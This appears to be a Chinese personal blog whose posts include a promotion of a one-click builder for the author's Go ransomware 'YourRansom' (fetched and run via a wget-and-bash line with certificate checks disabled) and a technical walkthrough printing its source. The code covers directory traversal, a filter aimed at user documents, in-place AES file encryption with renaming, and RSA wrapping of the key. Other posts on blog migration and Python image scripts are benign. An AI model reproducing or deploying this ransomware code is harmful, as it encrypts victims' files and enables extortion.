YourRansom你的勒索软件-一键生成脚本

最近感觉自己先前搞得YR生成那一套实在太过于复杂,有时候自己都会绕晕,于是写了这样一个简单粗暴的脚本来。脚本写的不太优雅,功能也不太完善,欢迎各位大佬提出意见和建议。

注:本脚本为Bash脚本,仅支持Linux/macOS。如您使用Windows,请自行根据原repo的readme编译,不能在Cygwin上运行。(主要是我不知道怎么判断Cygwin,所以没法写脚本)

YourRansom项目简介

YourRansom(在下太懒故简称YR)是我在业余时间闲的蛋疼使用Golang实现的一款开源的勒索软件,具有易配置、代码烂、作者懒、编译完成后鬼知道能不能用等特点,是您居家旅行恶作剧坑人的必备佳品~

YR目前可配置项很多,其中我最喜欢的是支持在线下载readme文件或者离线的写死在程序里的readme文件,解决某些前辈断了网就工作不能的坑爹表现,是一个鲁棒性强的好软件。

项目Github:https://github.com/YourRansom/YourRansom

脚本要求

本脚本要求一个能联网的环境、一个wget和一颗能自行处理出现问题看得懂脚本的头脑(后面这个只要脸白没有也没问题)

脚本使用

wget https://sh.bobiji.com/yr1k/wtf.sh --no-check-certificate && bash wtf.sh

执行后请跟随文本提示操作,输入对应配置信息即可。

生成密钥对的私钥会被存放于当前工作目录下的YourRansom.private中,生成的二进制文件会打包存放于当前目录下的yr1k.tar.gz

获得资瓷

YourRansom项目GitHub提交issue,或者加入缉毒卫队众测群(619353582)寻找更多Gay佬。

博客折腾手记(迁移到Hugo和Gitment)

自从放弃Typecho踏上静态化博客的不归路,我花在折腾上的时间似乎正变得越来越多,刚刚(一个月之前)完成了博客从Hexo到Hugo的迁移,折腾甚多但收获亦丰,希望与朱军共享之(朱军:干我屁事?)。

关于Hugo

Hugo与Hexo相同,也是一个静态网页生成工具,只不过因为其是Golang写成,可以编译为可独立运行的二进制文件,故无论是携带使用还是随时升级都极为方便(虽然我也不会带着用它)

关于评论

之前在下偷懒使用了多说作评论(本来是disqus的,但是disqus喜欢强行引导用户注册帐号让人很不爽),结果谁想天有不测风云…本来就半死不活但似乎还能残喘不少时日的多说突然就嗝屁了,这挺萌的就尴尬了(#°Д°)

本来打算使用一些成品的自建评论系统或者自己写一个来着,但是正巧在V站看到有人做的这个Gitment,感觉很合适我的风格,于是干脆搞了一份下来,改改自己用。

以及这玩意是不违反GayHub的TOS的,具体看原repo

关于删博文

我的天每次看博客都被自己曾经发的各种二笔文章吓尿,于是果断借这次机会把他们都删干净啦<( ̄︶ ̄)↗

关于友链

这次的主题是基于超简洁主题hyde改得,弄得自己都不知道往哪里放友链来的合适,,,不过一定会想办法放上的。

关于Firebase

Firebase是一个安卓的开发者云服务网站,现已加入Google豪华午餐。 Firebase在提供各种服♂务的同时提供一个静态文件hosting,空间比COS小,流量比COS少,部署比COS麻烦(需要翻),有个SSL还是LE的,而且还是多域名一起签的。 不过,他家CDN是Fastly的,可以拿来看着装13啊~

好吧,成功扯远了。总之域名没有备案又不太能忍受GayHub Pages的速度的同志可以一试,速度还是不错的。至于我嘛,回头折腾够了应该会搬回COS吧。

挖坑

  • 如果可能的话写篇Hugo的简单教程(感觉这玩意没啥必要,文档很齐全)
  • YourRansom作出了很多更新,重新写一篇源码分析,以及继续修改不优雅的代码
  • 写一个YourRansom一键生成工具(我这是在找死吧。。。)

博客又被我搞了(大雾

最近大抵就是想折腾吧,把博客换了hugo生成,换上了firebase,顺路清了一批腊鸡博文。

回头有空就写写这次部署的笔记,没空就继续咸着。

自制勒索有感&技术简析

嘛自从去年10月更过博客之后就啥都没写过了。。。这次正好趁着卫队搞新年活动写点什么。

前段时间在卡饭,勒索病毒是很火的一个讨论话题,而我也跟着一位大神的风写了一个简单的勒索病毒,这里写一点东西,作为纪念。

说起勒索病毒,其实它的行为和技术都很简单(除了某些硬肛硬盘的品种之外,当然我们今天讨论的只有普通的文件加密病毒,像cerber那样的) 其主要行为由遍历和加密两部分组成,下面在下使用自己的代码分析一下这两部分的实现(代码较渣还请原谅

首先是遍历,这一部分十分简单,不过还有一个很重要的问题需要注意:不要无脑。先前在下的第一版YourRansom就是因为无脑遍历进了系统文件夹还试图加密才被。。。 闲话不多说,先上代码:

func do_cAll(path string, cip cipher.Block, action byte) error {

	//	获取一下路径的信息
	dir, serr := os.Stat(path)
	if serr != nil {
		return serr
	}
	//	判断是否是个目录,如果不是就交给加(解)密处理
	if !dir.IsDir() {
		if action == 'e' && !filter(path, action) {
			return nil
		}
		fmt.Println("File: ", path)
		switch action {
		case 'e':
			encrypt(path, cip)
		case 'd':
			decrypt(path, cip)
		}
	}

	//	既然到这里了那就是个目录了,让我们继续遍历
	fmt.Println("Path: ", path)
	//	先打开这个目录
	fd, err := os.Open(path)
	if err != nil {
		return err
	}
	//	获取到目录下前100个文件名
	names, err1 := fd.Readdirnames(100)
	if len(names) == 0 || err1 != nil {
		return nil
	}
	//	为每一个文件名迭代一遍自身
	for _, name := range names {
		do_cAll(path+string(os.PathSeparator)+name, cip, action)
	}
	return nil
}

其中为了防止无脑遍历我上了一个filter函数,用于判断传入的目录或文件名是否有关键词,以确认是否可以肛(虽然实现还是很无脑):

func filter(path string, action byte) bool {

	//	将传入的路径转为全小写,便于判断
	lowPath := strings.ToLower(path)

	//	屏蔽和加密后缀列表
	innerList := []string{"windows", "program", "appdata", "system"}
	suffixList := []string{".txt", ".zip", ".rar", ".7z", ".doc", ".docx", ".ppt", ".pptx", ".xls", ".xlsx", ".jpg", ".gif", ".jpeg", ".png", ".mpg", ".mov", ".mp4", ".avi", ".mp3"}

	//	判断路径中是否包含敏感词(大雾)
	for _, inner := range innerList {
		if strings.Contains(lowPath, inner) {
			//		如果存在就返回false
			return false
		}
	}
	//	判断路径是否以加密后缀结尾
	for _, suffix := range suffixList {
		if strings.HasSuffix(lowPath, suffix) {
			//			如果是就返回true
			return true
		}
	}
	//	既然到这里了那肯定就是既不包含敏感词,也没有加密后缀名的,还是false
	return false
}

嗯,这样遍历就实现完成了,接下来是加密这个重头戏。得益于Golang内置库的完备,我们可以直接import一个crypto/aes包来实现aes的加解密。 下面是aes加密的实现:

func encrypt(filename string, cip cipher.Block) error {

	//	判断该文件是否已加密了
	if len(filename) >= 11 && filename[len(filename)-10:] == ".youransom" {
		fmt.Println("Warning: A encrypted file found.")
		return nil
	}

	//	试图打开文件用于写入
	f, err := os.OpenFile(filename, os.O_RDWR, 0)
	fmt.Println("Encrypt: ", filename)
	if err != nil {
		return err
	}
	fstat, _ := f.Stat()
	size := fstat.Size()

	//	开始循环加密
	buf, out := make([]byte, 16), make([]byte, 16)
	for offset := int64(0); size-offset > 16 && offset < 512; offset += 16 {
		f.ReadAt(buf, offset)
		cip.Encrypt(out, buf)
		f.WriteAt(out, offset)
	}

	//	关闭文件并添加后缀
	f.Close()
	os.Rename(filename, filename+".youransom")
	return nil
}

嗯,在下很贴心地添加了防止二次加密的相关判断用于保护用户的数据安全,多么贴心啊(滑稽

相信有不少兄弟在看到aes加密的时候都是一脸蒙蔽状态:这是啥为啥我看不明白。其实不需要在意太多,因为是全黑盒的所以只要用就好了。 不过基础知识还是要知道的,这里在下简单地说一下:

AES是一种对称加密算法,通常我们可以认为在没有密钥的情况下是无法解密AES的。而所谓对称加密,可以理解为像通常我们理解的加解密那样,用同一个密钥既能加密,也能解密。 这背后是有比较复杂的数学原理的,喜欢探究而且高数成绩不错的同学可以试试去wiki的aes页面看一眼。

毫无疑问AES的性能是很高的,而通常我们看到的勒索却大都写着使用RSA加密,这是一个显而易见的原因的,就是AES是对称加密。 我们很难去简单的使用对称加密实现一个“用户被加密之后不管怎么搞都解不了密只能乖乖交钱”的场景,无论是发送到服务器,还是保存到本地,都是很危险的。 还记得曾经有一个国产加密使用AES还直接把密钥存到本地最后没收到钱还被嘲讽了一番的悲伤故事么?

而这种场景交由rsa实现简直不能再棒了: RSA是一种非对称加密,它有两个密钥:用其中一个密钥加密的数据只有用另一个密钥才能解密。这就完美地消除了将密钥存储在本地的危险。

下面是在下使用rsa加密aes密钥的实现:

func saveKey(cip []byte) {
	keyFile, _ := os.Create("YourRansom.key")
	block, _ := pem.Decode(pubKey)
	pubI, _ := x509.ParsePKIXPublicKey(block.Bytes)
	pub := pubI.(*rsa.PublicKey)
	word, _ := rsa.EncryptPKCS1v15(rand.Reader, pub, cip)
	keyFile.WriteAt(word, 0)
	return
}

最后把它们拼在一起,就成为了YourRansom,一个简单至极的自制勒索。

Github:https://github.com/popu125/YourRansom

记一次对于Py图像库的蛋疼应用

起因

想帮同学批量生成个门票图片,便于打印(他们竟然在用Acrobat编辑pdf然后打印,当然去年他们竟然用PS编辑,相对来讲倒是好多了。。。)

折腾路上 - 预处理

我第一反应当然是用Py来做这种东西,毕竟轮子比较多。

票务上的同学给了我一个坑爹的xls,数据格式类似(括号内为栗子):座区(QWQ)|票号(2333)|座位信息(QWQ/01/01)。 果断上Navicat大法导入一个sqlite文件,提取的时候直接用SQL语句即可。

大坑一 - 图像处理

然后就是图像库这一最重要轮子的问题了,我所知的py图像库有PIL(Pillow)和Wand,看不少人都挺推崇PIL的,果断上之,而且Pillow的文档也相当的全,是一个品质之选。

但是我最后还是选择了Wand,这是因为在一篇文章中看到有人说似乎Pillow的font_size无法正常使用。我在开发的时候用pdf中的字号填了上去,发现字很小,于是听信之。(事实证明并没有这回事

然而在换成Wand之后,用同样的字号值依旧如此,,,坑了

附:测试时所用代码 Pillow(参考自Pillow的doc):

from PIL import Image, ImageDraw

base = Image.open('4.jpg')
txt = Image.new('RGBA', base.size, (255,255,255,0))
fnt = ImageFont.truetype('./Calibri_Light.ttf', 48.0)
d = ImageDraw.Draw(txt)

d.text((10,10), 'WTF', font=fnt, fill=(255,255,255,255))

out = Image.alpha_composite(base, txt)
out.show()

Wand(参考Wand的doc-Drawing):

from wand.image import Image
from wand.display import display
from wand.drawing import Drawing
from wand.color import Color
from wand.font import Font

img = Image(filename='4.jpg')
with Drawing() as draw:
    draw.font = './Calibri_Light.ttf'
    draw.font_size = 48.0
    draw.fill_color = Color('White')
    draw.text(10, 10, 'WTF')
    draw(img)
img.save('text.jpg')

后来啊,我发现。。。调大字号字确实能变大,只不过从pdf中找出来的字号大小不合用。。。(喷水.jpg

而且因为已经把基于PIL的代码重写成了基于Wand的代码,干脆就这样用下去吧。

大坑二 - Acrobat导出图片分辨率

本来在用一张测试的时候一切都好好地,但当我开始试图用多张模板进行工作时(他们给了我五个版),坑就来了。每一张图上的字竟然不一样大,而且字所在位置也不同。仔细查看之,发现各图分辨率也是不同,心有所感,打开Acrobat,细细检查导出选项,赫然见一“分辨率:自动选择”(这tm坑爹呢)

于是挨张重新生成之。

最终结果

坑已填好了,bobo就用实际代码说话了:

模块(tkimg.py):

# -*- coding: utf-8 -*-
from wand.image import Image
from wand.display import display
from wand.drawing import Drawing
from wand.color import Color
from wand.font import Font

def maketk(picname, areainfo, face):
    img = Image(filename=picname)

    if face == 'front':
        for i in (0,1,2):
            plus = i * 2350
            with Drawing() as draw:
                draw.font = './Calibri_Light.ttf'
                draw.font_size = 288.0
                draw.fill_color = Color('White')
                draw.text(160, 2115+plus, areainfo[i][0])
                draw.text(1859, 2115+plus, areainfo[i][1])
                draw.text(2698, 2115+plus, areainfo[i][2])
                draw.text(3518, 2115+plus, areainfo[i][3])
                draw.draw(img)
    elif face == 'back':
        for i in (0,1,2):
            plus = i * 2350
            with Drawing() as draw:
                draw.font = './Calibri_Light.ttf'
                draw.font_size = 160.0
                draw.fill_color = Color('White')
                draw.text(4349, 2180+plus, areainfo[i][4])
                draw.draw(img)

    imgname = "%s-%s%s%s-%s%s%s.jpg" % (face, areainfo[0][0], areainfo[0][2], areainfo[0][3], areainfo[2][0], areainfo[2][2], areainfo[2][3])
    img.save(filename=imgname)

数据处理(app.py): 太懒略之,回头有空再翻出来补。

This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.